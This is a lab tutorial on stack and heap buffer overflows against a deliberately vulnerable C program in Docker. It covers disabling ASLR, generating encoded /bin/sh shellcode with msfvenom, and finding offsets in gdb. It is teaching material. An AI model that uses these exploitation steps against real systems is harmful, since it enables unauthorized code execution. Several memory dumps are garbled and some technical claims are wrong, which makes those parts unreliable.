BUFFEROVERFLOW ATTACK

Things we will learn:

- Concept of memory layout
- How does bufferoverflow attack happen?
- Practical implementation

DOCKERFILE

Within this section, you can learn more about Dockerfile by referring to the official tutorial: Dockerfile reference


NO OPERATION INSTRUCTION(NOP) && OFFSET

We can see there are some 'A' == '\x41' exist in the code. They are offset we use in the lab. '\x90' is called as NOP, when used the eip will not do any operation, it continues along the memory layout. But here we use 'A' which will not affect the program but just fills up the buffer. However, '\x90' is more recommended most of the time. You can find more detailed information here: What is a NOP instruction in x86 and x64 assembly? - The Security Buddy

MEMORY PARTITION OF C PROGRAM IN X86 ARCH

A typical memory representation of a C program consists of the following sections.

- 1. Text segment (i.e. instructions)
- 2. Initialized data segment
- 3. Uninitialized data segment (bss)
- 4. Heap
- 5. Stack



STACK & ITS REGISTERS

Stack Frame Concept: The stack space required for a function


A stack frame is created when a function is called. There are three registers (32-bit) involved with the stack: esp, eip, ebp, which correspond to rsp, rip, rbp for 64-bit.

esp: points to the top of the current stack frame.

ebp: points to the bottom of the current stack frame.


eip: points to the instruction being executed in the current stack frame (can be understood as reading the information corresponding to the esp address).

To understand the operation process of the stack, the core is to understand the execution process of ebp/eip/esp: Before the parent function calls the sub-function, the stack state is:




ebp points to the bottom of the stack, esp points to the top of the stack. When the function starts to push the stack, esp continuously decreases, expanding towards lower address values (since it goes from high address to low address, esp keeps subtracting 2). When encountering a


sub-function, first expand the return address, which is the address of the parent function's stack top, placed on the sub-function's return address. This step is for the subsequent sub-function to complete its execution and obtain the parent function's stack top through ret, and eip can execute from the parent function's stack top position.




After assigning the return address, continue pushing the stack. At this time, the address pointed to by ebp is stored in the next step stack, and the address of the next step stack is popped into ebp. ebp then points to the bottom of the sub-function's stack, and when it points to it, the value of the ebp register is assigned to esp, as shown in the following figure:




Then continue to push variables and parameters to the top of the stack, and esp continues to decrease by 1 to expand towards lower address values.



Begin the stack read and write operations: eip = esp, eip reads the command pointed to by the address in esp, and the stack is gradually popped. At this time, esp begins to approach the lower address bit. When esp = ebp, ebp reads the address data stored in the current position and jumps to the parent function's ebp:



At this point, esp continues to pop to get the return address, and eip jumps to the parent function stack top position. After the jump, eip continues to execute commands from the data contained in esp, and can complete the execution steps of eip (note ret: pop eip).




In this way, pushing and popping the stack can form the execution of functions between each other, with a focus on understanding the specific steps of the three registers in function calls.

The basic direction of stack overflow vulnerabilities is: the parent function (caller) takes the return address of the sub-function (callee) when calling the sub-function. This address contains the base address of the parent function. That is, after a function call is completed, the stack frame at that time must be deleted and the value of the Return Address is returned to rip/eip to achieve the operation of returning to the parent function. Therefore, we only need to find a way to change the value of the Return Address to the address of the vulnerable function, and we can gain control of the system through this vulnerable function.

Core goal: change the value of the Return Address.

Stack overflow method: break through the address of the vulnerability, and then write data back to higher address according to the stack, overwrite the data of the callee, and finally write the function address we need to run into the Return Address, which is to write the address of the function we need to run into the Return Address with the last data packet.



HEAP

Compared to the stack, the heap is more flexible in allocating memory

- 1. Heap can allocate or free memory at any of its locations.
- 2. If a program needs to dynamically allocate memory, it will be allocated in the heap.

 Usually associated with functions such as new(), memset().

GDB

gdb.pdf (sourceware.org)

SHELL CODE

- 1. Write hexadecimal opcodes directly.
- 2. Write the program in a high-level language and then decompile it to obtain the assembly instructions and the hexadecimal opcode.
- 3. Compile the assembly program, write it back, and extract the hexadecimal opcode from the binary.
- 4. Use some third-party tool such as msfvenom that generates shellcode while specifying the features and language

ASLR

How ASLR protects Linux systems from buffer overflow attacks | Network World

PROCEDURES

Stack Overflow

How it works: The vulnerable point of this Lab is strepy function which is a C function.

The source code of it can be found below. The strcpy() function is used to copy a string from one location to another.

However, it is considered to be a potentially unsafe function because it does not perform any bounds checking on the destination buffer, which can lead to buffer overflow vulnerabilities.

Other vulnerable functions include strncpy(); memset(); etc.

Suppose now the destination buffer is 20 bytes, but we paste 30 bytes in it. As we know from the introduction of stack above, it will overwrite some blocks of stack such as framed pointer or even return address. And in this case, we overwrite the return address such that it starts pointing to the address in the buffer where the shellcode began. So it will not return to the safe place but execute the attack code(shell code) that we made, succeeding the attack.

Core goal: change the value of the Return Address.

The basic direction of stack overflow vulnerabilities is: the parent function (caller) takes the return address of the sub-function (callee) when calling the sub-function. This address contains the base address of the parent function. That is, after a function call is completed, the stack frame at that time must be deleted and the value of the Return Address is returned to rip/eip to achieve the operation of returning to the parent function. Therefore, we only need to find a way to change the value of the Return Address to the address of the vulnerable function, and we can gain control of the system through this vulnerable function.

1. sudo echo 0 | sudo tee

/proc/sys/kernel/randomize_va_space

Configure the ASLR in the host machine.

2. docker build -t stack .

Note that '-t' follows the tag of this image and also the second variable'.' means the source of Dockerfile.

You can know more about Dockerfile using the resources above.

3. When it comes to the step: "RUN msfvenom -p linux/x86/exec CMD=/bin/sh AppendExit=true -e x86/alpha_mixed -f python > shell.txt", we need to get the size of the Shellcode which is "payload" generated by msfvenom. If it does not show up you can try the default size which is 162 bytes or 161 bytes. If it does not work you can also try to get the size of it by open the shell.txt file and check it artificially. If you want to know more about how to generate a shellcode or write a shellcode with assembly language or decompile tool. You can refer to the resources above.

This command uses Metasploit's msfvenom tool to generate a payload, where each parameter has the following meaning:

-p linux/x86/exec: Specifies that the payload should use the exec module for Linux x86 architecture, which allows running a specified command.

CMD=/bin/sh: Specifies the command to be executed as /bin/sh, which launches an interactive shell.

AppendExit=true: Appends an exit code to the payload to ensure that the shell exits gracefully.

-e x86/alpha_mixed: Specifies the x86/alpha_mixed encoder to obfuscate the payload and make it harder to detect or defend against.

-f python: Specifies the output format as Python code.

> shell.txt: Redirects the output of the generated Python code to a file named shell.txt.

```
4. docker run -it stack
```

5. We now need to know when the program runs, what will the stack looks like and how the shell code would be execute.

Figure 1: The layout of stack

6. So we need to get the information of it.

You can refer to Figure 2 for detailed information.

You can refer to the resources above for detailed information of the gdb commands.

Figure 2: The process of executing the shell code

- 7. \$ qdb program
- 8.\$ b 8
- 9. You might be confused with the initial address of Shell Code. So you can \$run AAAAAAA which will show up as 0x41414141 0x41414141 which is a way to help you find the initial address of Shell code which should be the address of esp in this case


```
(gdb) b 8
Breakpoint 1 at 0x8049d14: file program.c, line 9.
(gdb) run AAAAAAAA
Starting program: /home/cheese/app/program AAAAAAAA
warning: Error disabling address space randomization: Success
Breakpoint 1, vulnerable (arg=0xff9138dd "AAAAAAAA") at program.c:9
```

- 10. \$info register, we can see the value of ebp as well as esp. So that we know the space range of the vulnerable function.
- 11. \$x/200x \$esp we can see the initial position of the buffer. We get the return address stored right after the value of register ebp which should be ebp +4.

OALLGOLICO.	$0\Lambda00000000$	0A00002000	0.00000001	OVILIOODOO
Oxffd3f1d0:	0x0809a53b	0x080e5000	0xffd3f248	0x08049d39
0 001004 0	0 00140011	0 000 5000	0 000 00 0	0 000 10 100

And we need to replace the value in the return address as the initial position of shell code and in order to do that. We need to fill the space from ebp to esp before the return address. If you want to know more about register. You can refer to the resources above.

(II) /150	Φ.						
(gdb) x/150x 0xffced5e0:	\$esp 0x41414141	0x41414141	0x00000000	0x00000000			
0xffced5f0:	0x41414141 $0x000000000$	0x00000000	0x00000000	0x00000000			
0xffced600:	0x00000000	0x00000000	0x00000000	0x00000000			
0xffced610:	0x00000000	0x00000000	0x00000000	0x00000000			
0xffced620:	0x00000000	0x00000000	0x00000000	0x00000000			
0xffced630:	0x00000000	0x00000000	0x00000000	0x080e5000			
0xffced640:	0x0000000 0x080e54c0	0x00000000	0x00000000 0x08fc4840	0x080e54f8			
0xffced650:	0x00000060	0x00000003	0x00000000	0x00000005			
0xffced660:	0x00000000 0x00000000	0x00000007	0x00000000	0x00000032			
0xffced670:	0x00000000 0x000000000	0x000000000	0x00000000	0x080b73bb			
0xffced680:	0x00000000	0x00000000 0x00000006e	0x0809863b	0xf7f6f120			
0xffced690:	0x0000000 0x00000077	0x0000000c	0x00090030 $0x00000007$	0x17101120 $0x00000001$			
0xffced6a0:	0x00000077	0x0000000000000	0x00000007	0x00000001			
0xffced6b0:	0x60000000 0xf7f6f1f0	0x08fc4ef0	0xffced71c	0x00000035			
0xffced6c0:	0x17101110 $0x00000053$	0x08fc4840	0x11ced71c	0x00000003 0x0805e7c0			
0xffced6d0:	0xf7f6f1f0	0xf7f6f140	0x080e3000	0x0805e7C0			
0xffced6e0:	0x17101110 $0x00000040$	0xffced700	0xffced798	0x080e5000			
0xffced6f0:	0x080e54c0	0x000000f0	0x11ced798 0x08fc4840	0x080e5000			
0xffced700:	0x00000100	0x00000010	0x081C4840 0x080b4041	0x00000000f			
0xffced710:	0x00000100 0x0000001e	0x000000011	0x00000100	0x00000001			
0xffced720:	0xffced798	0xf7f6f404	0x00000100	0x0809c887			
0xffced730:	0x11ced738	0x0000006e	0x080e6888	0x000000002			
Oxffced740:	0x00000077	0x0000000c	0x00000011	0x00000002			
Oxffced750:	0x00000077	0x00000000	0x00000011	0x00000005b			
Oxffced760:	0x00000008	0x08fc5190	0x00000000	0x0000000f			
0xffced770:	0x00000009	0x000000c2	0x00000fff	0x080e5000			
Oxffced780:	0x00000000	0x080e5000	0x0809c6d2	0x00f0b5ff			
0xffced790:	0x080e6910	0xffced7db	0x000000c2	0x0806d80b			
0xffced7a0	0xffced7da	0x080e6910	0x080e6914	0x0805033e			
0xffced7b0:	0x080b7419	0x080e6914	0xffced7da	0x00000001			
0xffced7c0:	0x00000000	0x00c30000	0x00000001	0x080e68a0			
0xffced7d0	0x080e3000	0x00002000	0x00000001	0xb4b7f000			
0xffced7e0:	0x0809a53b	0x080e5000	0xffced858 C	0x08049d39			
Oxffced7f0:	0xffcee8f5	0x080e5000	uxuoueúoaú	0x08049d29			
Oxffced800:	0x34365f36	0x00000000	0x00000000	0x00008000			
0xffced810:	0x00000002	0x00040000	0x00000003	0x00000002			
0xffced820:	0x00400000	0x01000000	0x00000003	0x00400000			
Oxffced830:	0x080e5000	0x080e62c4					
(gdb) info re	egister						
eax	0xffced5e0	-3222048					
ecx	0xffcee8f5	-3217163					
edx	0xffced5e0	-3222048					
ebx	0x80e5000	135155712					
esp	0xffced5e0	0xffced5e0					
ebp	0xffced7e8	0xffced7e8	Ь				
esi	0x80e5000	135155712	<u> </u>				
A	III Dorit	-la- af	tack -	to CIT			
a: ini	tial Posit	NON OT	itack =	P C J Y			
				,			
h. H	a value	otoba		<i>₹</i> 0			
De Cr	ne value	- LOP					
	1	1 1	,	- 11			
C: the realise in the order of sets							
- c the count in the nearest of tool							
b: the value of ebp C: the value in the address of \$ebp ol: return address.							
acidy 647.							



- 12. \$q
- 13. \$y
- 13. vim shel1.py
- 14. For buf, just copy from shell.txt. For initoffset, just calculate the number of 'A' that should be filled in which equals to 512 + 4(size of ebp) size of shellcode(should be 162 or 161). And replace the rerturn address that should be reversly return and written in hex format. For example, if the return address is 0xff91dd83, then ret = '\x83\xdd\x91\xff' 15.\$python shell.py
- 16. \$./program \$(python sol1.py)
- 17 you will have the shell!

Problem solving

Heap Overflow

How it works: The vulnerable point of this Lab is pretty much the same as stack overflow.

The core goal is still changing the address from where it should be to our place. We need to know the concept of function pointer which represents a kind of function and it's value is a address of a function. In this program, initially, the function pointer f points to a function fail. So if we don't do the attack, the function fail() will be call by the pointer. If we do the attack. We can change the address's value whose address is where the pointer points to from the fail() to success() just like figure 1.

The source code of it can be found below.

```
1.$docker build -t heap .
```

2.\$docker run -it heap

3.\$cat program.c

4.\$qdb heapoverflow

5.b 38

6.run AAAAAAA

Starting program: /app/heapoverflow AAAAAAAA warning: Error disabling address space randomization: Success data is at 0x9644310, fp is at 0x9644360

7.info proc map get the starting address of heap

8.x/2200x \$(the address of heap()) And you can find the address of function fail() and success() because some information has already been printed by 'printf("data is at %p, fp is at %p\n", d, f);' in the program.

```
(Archive Manager address success
Symbol success" is a function at address 0x8049d45.
(gdb) x/100x 0x8049d45
0x8049d45 <success>: 0xfble0ff3
0x8049d55 <success+16>: 0x09b2ab05
                                           0x53e58955
                                                            0xe804ec83
                                                                              0x000000e4
                                           0x0cec8300
                                                            0xf008908d
                                                                              0x8952fffc
0x8049d65 <success+32>: 0xe6d5e8c3
                                           0xc4830000
                                                            0x5d8b9010
                                                                              0xf3c3c9fc
0x8049d75 <fail+1>:
                          0x55fb1e0f
                                           0x8353e589
                                                            0xb5e804ec
                                                                              0x05000000
0x8049d85 <fail+17>:
0x8049d95 <fail+33>:
                                                                              0xc38952ff
                          0x0009b27c
                                           0x8d0cec83
                                                            0xfcf01890
                          0x00e6a6e8
                                           0x10c48300
                                                            0xfc5d8b90
                                                                              0x0ff3c3c9
0x8049da5 <main+2>:
                                                            0xfc71fff0
                          0x4c8dfb1e
                                           0xe4830424
                                                                              0x56e58955
0x8049db5 <main+18>:
                          0xec835153
                                           0xfe61e81c
                                                            0xc381ffff
                                                                              0x0009b241
0x8049dc5 <main+34>:
                          0xec83ce89
                                           0xe8406a0c
                                                            0x0001b25f
                                                                              0x8910c483
0x8049dd5 <main+50>:
                          0xec83e445
                                           0xe8046a0c
                                                            0x0001b24f
                                                                              0x8910c483
0x8049de5 <main+66>:
                          0x458be045
                                           0x74938de0
                                                            0x89fff64d
                                                                              0x04ec8310
0x8049df5 <main+82>:
                                           0x838de475
                                                                              0x7479e850
                          0xffe075ff
                                                            0xfffcf024
0x8049e05 <main+98>:
                          0xc4830000
                                           0x04468b10
                                                            0x8b04c083
                                                                              0xe4458b10
0x8049e15 <main+114>:
                          0x5208ec83
                                           0xf211e850
                                                                              0xe0458b10
                                                            0xc483ffff
                          0xd0ff008b
                                                                              0x5d5e5b59
0x8049e25 <main+130>:
                                           0x000000b8
                                                            0xf4658d00
                                                                              0x77e85657
                                                            0x55909066
0x8049e35 <main+146>:
                                           0xc324048b
                          0xc3fc618d
                                           <del>0</del>+5>:
                                                    0x8100000b
                                                                     0x09b1b8c6
                                                                                       0xec815300
                                                                                                        0x
00000104
          <get common indices.constprop.0+21>: 0x85240c89
                                                                     0xa7840fc0
                                                                                       0x31000001
                                                                                                        0x
89c789db
           <get common indices.constprop.0+37>: 0x0001b8d5
                                                                     0xd9890000
                                                                                       0xc6c7a20f
                                                                                                        0x
080e68a0
           <get_common_indices.constprop.0+53>: 0x890c5689
                                                                                       0x8b045e89
                                                                                                        0x
                                                                     0x08eac1c2
e283241c
           <get common indices.constprop.0+69>: 0x084e890f
                                                                     0x0689c189
                                                                                       0x890fe183
                                                                                                        0x
c1c28917
          <get_common_indices.constprop.0+85>: 0xe28304ea
                                                                     0x0055890f
                                                                                       0xeac1c289
                                                                                                        θx
f0e2810c
           <get common indices.constprop.0+101>: 0x89000000
                                                                     0x24948b13
                                                                                      0x00000118
                                                                                                        0x
3f830a89
                                                                                                        0x
           <get common indices.constprop.0+117>: 0x36840f0f
                                                                     0x83000001
                                                                                      0x7e066c7e
0007b815
           <get common indices.constprop.0+133>: 0xc9310000
                                                                     0x4689a20f
                                                                                      0x145e8910
                                                                                                        0x
89184e89
```

- disassemble fail #To verify the address
- 10. info address success #To get the address of success()

```
(gdb) info address success
Symbol "success" is a function at address 0x8049d45.
(gdb) disassemble success
Dump of assembler code for function success:
   0x08049d45 <+0>:
                        endbr32
  0x08049d49 <+4>:
                                %ebp
                        push
  0x08049d4a <+5>:
                        mov
                                %esp,%ebp
                        push
                                %ehx
   0x08049d4d <+8>:
                        sub
                                $0x4,%esp
   0x08049d50 <+11>:
                        call
                                0x8049e39 < x86.get pc thunk.ax>
  0x08049d55 <+16>:
                                $0x9b2ab,%eax
                        add
  0x08049d5a <+21>:
                        sub
                                $0xc,%esp
  0x08049d5d <+24>:
                                -0x30ff8(%eax),%edx
                        lea
  0x08049d63 <+30>:
                        push
                                %edx
  0x08049d64 <+31>:
                        mov
                                %eax,%ebx
   0x08049d66 <+33>:
                                0x8058440 <puts>
                        call
  0x08049d6b <+38>:
                                $0x10,%esp
                        add
  0 \times 08049d6e < +41>:
                        nop
   0x08049d6f <+42>:
                                -0x4(\%ebp),%ebx
                        mov
   0x08049d72 <+45>:
                        leave
   0x08049d73 <+46>:
                         ret
End of assembler dump.
```

```
10.(gdb) q

11.y

12.$vim sol1.py Calculate the heap size and give appropriate number of A's and replace eip with the address of function success()

14. $ ./heapoverflow $(python sol1.py)

15. You make it!

(gdb) run $(python sol1.py)

Starting program: /app/heapoverflow $(python sol1.py)
warning: Error disabling address space randomization: Success data is at 0x88a4310, fp is at 0x88a4360
Congratulations
```

[Inferior 1 (process 69) exited normally]